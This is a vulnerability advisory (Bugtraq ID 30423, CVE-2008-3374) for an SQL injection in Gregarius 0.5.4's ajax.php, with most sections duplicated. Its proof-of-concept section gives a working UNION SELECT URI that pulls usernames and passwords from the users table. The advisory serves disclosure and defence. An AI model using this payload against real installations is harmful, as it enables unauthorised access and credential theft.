Gregarius 'ajax.php' SQL Injection Vulnerability
BID:30423
Info
Gregarius 'ajax.php' SQL Injection Vulnerability
| Bugtraq ID: | 30423 |
| Class: | Input Validation Error |
| CVE: |
CVE-2008-3374 |
| Remote: | Yes |
| Local: | No |
| Published: | Jul 29 2008 12:00AM |
| Updated: | May 07 2015 05:25PM |
| Credit: | GulfTech Security Research |
| Vulnerable: |
Marco Bonetti Gregarius 0.5.4 |
| Not Vulnerable: | |
Discussion
Gregarius 'ajax.php' SQL Injection Vulnerability
Gregarius is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Gregarius 0.5.4 is vulnerable; other versions may also be affected.
Gregarius is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.
Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
Gregarius 0.5.4 is vulnerable; other versions may also be affected.
Exploit / POC
Gregarius 'ajax.php' SQL Injection Vulnerability
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/ajax.php?rs=__exp__getFeedContent&rsargs[]=-99 UNION SELECT concat(char(58),uname,char(58),password),2,3,4,5,6,7,8,9,0,1,2,3 FROM users/*
Attackers can use a browser to exploit this issue.
The following example URI is available:
http://www.example.com/ajax.php?rs=__exp__getFeedContent&rsargs[]=-99 UNION SELECT concat(char(58),uname,char(58),password),2,3,4,5,6,7,8,9,0,1,2,3 FROM users/*
Solution / Fix
Gregarius 'ajax.php' SQL Injection Vulnerability
Solution:
The vendor has released a patch in the SVN repository. Please see the references for more information.
Solution:
The vendor has released a patch in the SVN repository. Please see the references for more information.
References
Gregarius 'ajax.php' SQL Injection Vulnerability
References:
References:
- Gregarius Homepage (Marco Bonetti)
- Gregarius <= 0.5.4 SQL Injection (GulfTech Security Research
)